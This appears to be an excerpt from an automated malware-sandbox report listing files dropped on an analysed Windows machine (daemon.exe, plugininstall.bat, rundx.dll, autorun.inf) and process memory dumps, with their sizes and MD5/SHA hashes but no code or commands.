C:\Users\Admin\AppData\Roaming\daemon.exe

Filesize
273KB

MD5
84f755ce53cb1d70ba895c0f0f629595

SHA1
3fdf3e27b1541d52c9a865951a2bdee107c37473

SHA256
5f9f5634db8e30d9d11a63baa794863ecf4855637f95e81b6fe667d9f85cab72

SHA512
cd2cee1a1a8e4b53118b1a463fcf767a3fc72566663d16f5cbc563d79f2b9c47e4c1a60dbbd4c61faebcc1488a842783f9984433e2d52c2b5148918d3fb99de7

Download Submit
C:\Users\Admin\AppData\Roaming\plugininstall.bat

Filesize
1KB

MD5
8990de1f668a1ae548754018742a2a66

SHA1
849cbd8f0436e0fe3c483ef7451e4c58d9a85049

SHA256
b42cf0d02c3a9cf3f15d6edb396b6c1baac3f8ac2aea936812ca558e131e053b

SHA512
96657ec87ef61b0466d32d0d97f1e67708e6a5e41e656656f99828144e821186bb8484805280af04cf824f0e155f1f02d4c108232b85e0b2addde1f2b0d38e80

Download Submit
C:\Users\Admin\AppData\Roaming\rundx.dll

Filesize
187KB

MD5
3691476fc5c39dc117f5eae6c101a8f8

SHA1
cc2bc87b524e4802c86261f37d127dfb95f5f2b1

SHA256
d1bb6adf17167d1dc8fa90de52763b7c56c8964a2ce43470b405f9a76a727ad3

SHA512
9a8a2c019f0a034e6bffa03ab986374947d3fe2ae72f9029656150eb6d28b6240596ef39c4b49d22c12de757960390a77eaa733fd5f9f5dce48f2d3d47cdb850

Download Submit
C:\autorun.inf

Filesize
63B

MD5
f64baf418f685884efec59a9d80bc5f6

SHA1
9c90f7a7efd7ef3059837fdeb06b6b781ca6d1e9

SHA256
4b9870b1f52e252451b3fa099e8b270c32ddc6fc29372067be28dcd009ec4e8f

SHA512
dceecd6a564c974c71ceeb544b0dfde70a09315db6d72a50fdbecdc0cf505a7ce52b7a83a9a8c79e8cfbb996c054585da6d7c08bf0026b4d9ecdde5f0a2b2a69

Download Submit
memory/880-1069-0x00000000012F0000-0x0000000001343000-memory.dmp

Filesize
332KB

Download
memory/880-528-0x0000000000C70000-0x0000000000CA3000-memory.dmp

Filesize
204KB

Download
memory/880-522-0x0000000000880000-0x0000000000881000-memory.dmp

Filesize
4KB

Download
memory/880-26-0x00000000012F0000-0x0000000001343000-memory.dmp

Filesize
332KB

Download
memory/1152-508-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/3012-8-0x00000000012F0000-0x0000000001343000-memory.dmp

Filesize
332KB

Download
memory/3012-0-0x00000000012F0000-0x0000000001343000-memory.dmp

Filesize
332KB

Download
memory/3012-2-0x0000000010000000-0x0000000010053000-memory.dmp

Filesize
332KB

Download
memory/3012-540-0x00000000012F0000-0x0000000001343000-memory.dmp

Filesize
332KB

Download